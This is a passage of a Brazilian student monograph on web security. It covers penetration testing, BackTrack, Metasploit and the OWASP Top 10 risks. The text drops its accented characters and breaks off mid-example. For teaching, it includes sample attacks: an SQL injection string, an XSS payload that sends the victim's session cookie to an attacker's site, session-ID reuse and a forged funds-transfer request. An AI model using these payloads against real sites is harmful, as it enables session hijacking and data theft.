monografia

Embed Size (px)

Citation preview

Universidade de BrasliaInstituto de Cincias Exatas Departamento de Cincia da Computao

Lies sobre injeo de SQL do projeto WebGoatSegurana de Dados,Turma A, 01/2010

Thiago Melo Stuckert do Amaral 06/96773

Professor: Prof. Ms. Pedro Antnio Dourado de Rezende

Braslia, 25 de agosto de 2010

Sumrio1 Introduo 2 Teste de Penetrao 3 Mquina virtual 4 BackTrack 5 Metasploit 6 OWASP TOP 10 6.1 Injeo de SQL . . . . . . . . . . . . . . . . . . . 6.1.1 Exemplo de cenrio de ataque . . . . . . . 6.1.2 Proteo . . . . . . . . . . . . . . . . . . . 6.2 Cross Site Scripting (XSS) . . . . . . . . . . . . 6.2.1 Exemplo de cenrio de ataque . . . . . . . 6.2.2 Proteo . . . . . . . . . . . . . . . . . . . 6.3 Falhas de autenticao e gerenciamento de sesso 6.3.1 Exemplo de cenrio de ataque . . . . . . . 6.3.2 Proteo . . . . . . . . . . . . . . . . . . . 6.4 Referncia direta insegura aos objetos . . . . . . 6.4.1 Exemplo de cenrio de ataque . . . . . . . 6.4.2 Proteo . . . . . . . . . . . . . . . . . . . 6.5 Cross Site Request Forgery (CSRF) . . . . . . . . 6.5.1 Exemplo de cenrio de ataque . . . . . . . 6.5.2 Proteo . . . . . . . . . . . . . . . . . . . 6.6 Congurao inapropriada de segurana . . . . . 6.6.1 Exemplo de cenrio de ataque . . . . . . . 6.6.2 Proteo . . . . . . . . . . . . . . . . . . . 6.7 Armazenamento criptogrco inseguro . . . . . . 6.7.1 Exemplo de cenrio de ataque . . . . . . . 6.7.2 Proteo . . . . . . . . . . . . . . . . . . . 6.8 Falha de restrio de acesso URL . . . . . . . . 6.8.1 Exemplo de cenrio de ataque . . . . . . . 6.8.2 Proteo . . . . . . . . . . . . . . . . . . . 6.9 Proteo insuciente na camada de transporte . . 6.9.1 Exemplo de cenrio de ataque . . . . . . . 6.9.2 Proteo . . . . . . . . . . . . . . . . . . . 6.10 Redirecionamento sem validao . . . . . . . . . 6.10.1 Exemplo de cenrio de ataque . . . . . . . 6.10.2 Proteo . . . . . . . . . . . . . . . . . . . 7 whitelist vs blacklist 8 WebGoat 9 Teste 10 Concluso 2 2 2 2 3 3 4 4 5 5 5 5 5 6 6 6 6 6 6 7 7 7 7 8 8 8 8 8 9 9 9 9 9 10 10 10 10 11 11 11

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

1

1

Introduo

Este trabalho apresenta uma simples denio de teste de penetrao, a distribuio BackTrack, o projeto Metasploit dando destaque ao framework w3ac, os projetos OWASP TOP 10 e WebGoat e naliza mostrando as lies sobre injeo de SQL do projeto WebGoat.

2

Teste de Penetrao

Testes de penetrao so testes de segurana em que os auditores simulam ataques reais para identicar vulnerabilidades em recursos de aplicaes, sistemas ou redes [1]. Com destaque para avaliaes de disponibilidade, integridade e condencialidade das informaes. Faz parte de uma auditoria de segurana da informao, uma avaliao de risco ativa [4].

3

Mquina virtual

Uma mquina virtual um software de virtualizao, o qual permite a utilizao de um sistema operacional dentro de outro. Exemplos de softwares que implementam mquinas virtuais so: VMware e VirtualBox. No presente trabalho escolhemos rodar o BackTrack atravs do VirtualBox pois este software livre.

4

BackTrack

BackTrack um sistema operacional GNU/Linux distribudo na forma de um DVD live, ou seja podemos rodar o sistema operacional sem precisar installo. O BackTrack possui como principal objetivo servir como ambiente para um teste de penetrao. O BackTrack se originou da fuso de duas distribuies que possuam o mesmo objetivo: WHAX e Auditor Security Collection. Qualquer dvida em relao a instalao do BackTrack pode ser sanada atravs dos tutoriais disponveis no site da comunidade, o qual se encontra no apndice. Para logar no BackTrack utilizamos o usurio root e a senha toor, para congurar a rede digitamos o seguinte comando: /etc/init.d/networking start . Para iniciarmos a interface grca digita-se: startx. O BackTrack separa suas ferramentas em 11 categorias: * Coleta de Informaes * Mapeamento de Rede * Identicao de vulnerabilidade 2

* Anlise de aplicaes Web * Anlise de rede de rdio (802.11,Bluetooth,Rd ) * Penetrao * Escalada de privilgios * Manuteno de acesso * Forense digital * Engenharia reversa * Voz sobre IP (VOIP) * Diversos

5

Metasploit

O Metasploit um projeto de cdigo aberto o qual provm informaes sobre vulnerabilidades. O Metasploit foi criado em 2003 como um jogo de rede portvel utilizando a linguagem de script Perl. O seu subprojeto mais conhecido o Metasploit Framework, uma ferramenta para o desenvolvimento e execuo de cdigos de explorao em mquinas remotas. Outro subprojeto do Metasploit o Web Application Attack and Audit Framework (w3af) cujo objetivo criar um framework para identicar e explorar vulnerabilidades em aplicaes Web, tal que o framework seja fcil de utilizar e estender.

6

OWASP TOP 10

O Open Web Application Security Project (OWASP) lanou em 2010 a terceira edio do projeto OWASP TOP 10, sobre os 10 maiores riscos em aplicaes Web. A tabela 1 um comparativo entre o OWASP TOP 10 de 2007 e o publicado em 2010 [2]. As linhas em vermelho representam riscos que estavam presentes no rank de 2007 porm foram removidos em 2010, as linhas em marrom so riscos presentes no rank de 2010 porm no estavam presentes em 2007. Utilizamos FAGS como abreviatura para falhas de autenticao e gerenciamento de sesso. A linha contendo um asterisco na primeira coluna representa um risco que estava presente na edio de 2004 do OWASP TOP 10 como congurao insegura de gerenciamento. Como podemos ver os riscos no se modicaram muito de uma edio para outra. Pelo fato do risco de injeo ser o primeiro nas duas edies, escolhemos as lies sobre injeo de SQL do WebGoat como tema do presente trabalho. A seguir descreveremos cada um dos riscos apontados pelo OWASP TOP 10. 3

Tabela 1: Comparativo entre o rank de 2007 e o de 2010 [2]. OWASP TOP 10 - 2007 Falhas de injeo Cross Site Scripting (XSS) FAGS Referncia direta insegura aos objetos Cross Site Request Forgery (CSRF) * Armazenamento criptogrco inseguro Falha de restrio de acesso URL Comunicaes inseguras No estava presente no Top 10 2007 Execuo de arquivo malicioso Vazamento de informao e tratamento incorreto de erro OWASP TOP 10 - 2010 Injeo Cross-Site Scripting (XSS) FAGS Referncia direta insegura aos objetos Cross-Site Request Forgery (CSRF) Congurao inapropriada de segurana Armazenamento criptogrco inseguro Falha de restrio de acesso URL Proteo insuciente na camada de transporte Redirecionamento sem validao Removido do Top 10 2010 Removido do Top 10 2010

6.1

Injeo de SQL

Falhas de injeo so muito comuns em aplicaes Web, um exemplo de vulnerabilidade a injeo de SQL, esta ocorre quando uma entrada de um campo de texto informado pelo usurio utilizado em uma consulta ao banco de dados sem nenhum tipo de validao. A gura 1 exemplica de uma forma humorada uma injeo de SQL. Este risco facilmente explorado, sendo um risco comum de fcil deteco e impacto severo.

Figura 1: Tira em quadrinhos exemplicando a injeo de SQL [3].

6.1.1

Exemplo de cenrio de ataque

A aplicao utiliza dado no convel para montar uma consulta ao banco de dados: select * from alunos where id = " "+ request.getParameter("id")+" "; O atacante pode modicar o parmetro para or 1=1. Isto modica o signicado da consulta ao banco retornando todos os registros da tabela alunos. 4

6.1.2

Proteo

* Utilizar uma Application Programming Interface (API) a qual prover uma interface parametrizada. * Utilizar alguma rotina segura para tratar os caracteres especiais. * Utilizar uma whitelist onde se encontram todas as entradas vlidas de um campo.

6.2

Cross Site Scripting (XSS)

XSS a vulnerabilidade mais popular em aplicaes Web. Ocorre quando uma aplicao inclui dados informados por um usurio em um pgina enviada ao navegador sem realizar uma validao adequada. Este risco apresenta uma diculdade de explorao mediana, fcil deteco e impacto moderado.

6.2.1

Exemplo de cenrio de ataque

A aplicao utiliza dados no conveis na construo de parte do HTML: O atacante modica o parmetro CC no browser para: >document.location= www.h.com/foo=+document.cookie Isto faz com que o ID de sesso da vtima seja enviado para o site do atacante.

6.2.2

Proteo

* Realizar um tratamento adequado de todo dado no convel no contexto HTML. * Utilizar uma whitelist onde se encontram todas as entradas vlidas.

6.3

Falhas de autenticao e gerenciamento de sesso

Autenticao apropriada e gerenciamento de sesso so mecanismos crticos para a segurana de aplicaes Web. Frequentemente possuem falhas em reas como logout, gerenciamento de senha, timeouts. Encontrar falhas pode ser difcil pois cada implementao nica. Este risco apresenta uma diculdade de explorao mediana, sendo um risco comum de diculdade de deteco mediana e impacto severo.

5

6.3.1

Exemplo de cenrio de ataque

O site de uma companhia area permite a reescrita da url, colocando o ID da sesso na mesma: http://example.com/sale/saleitems;jsessionid=2P0OC2J?dest=Hawaii Um atacante pode reutilizar o ID de sesso de um usurio autenticado na aplicao.

6.3.2

Proteo

* Vericar as funes de logout e timeout. * Prover aos desenvolvedores um conjunto de controles de autenticao e gerenciamento de sesso. * Utilizar uma interface simples para os desenvolvedores. * Aumentar os esforos para evitar falhas XSS que podem roubar o ID da sesso.

6.4

Referncia direta insegura aos objetos

Ocorre quando um objeto referenciado de forma direta, sem utilizar qualquer tipo de proteo. As aplicaes nem sempre vericam se o usurio possui permisso para acessar determinado objeto. Este risco apresenta fcil explorao, sendo um risco comum de fcil deteco e impacto moderado.

6.4.1

Exemplo de cenrio de ataque

Acesso a documentos sigilosos, imagine que o usurio tem acesso ao documento arq01.pdf disponvel na URL: www.example.com/arq01.pdf. O usurio pode modicar a URL para tentar acessar o arquivo arq02.pdf, acessando assim um documento no autorizado.

6.4.2

Proteo

* Utilizar um mapeamento do real nome do arquivo para o cdigo que o usurio solicita. * Vericar as permisses do usurio ao tentar acessar um arquivo.

6.5

Cross Site Request Forgery (CSRF)

CSRF tira vantagem de aplicaes Web que permitem atacantes preverem todos os detalhes de uma ao particular. Caso o browser envie um cookie de 6

sesso automaticamente, o atacante pode criar uma pgina que gera requisies forjadas que so idnticas a requisies legtimas. Este risco apresenta diculdade mediana de explorao, sendo um risco muito popular de fcil deteco e impacto moderado.

6.5.1

Exemplo de cenrio de ataque

Uma aplicao permite ao usurio submeter uma requisio de mudana de estado na qual nada secreto. Como : http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243 O atacante constri uma requisio a qual far com que a vtima transra dinheiro para a sua conta, a esconde em uma requisio de imagem como: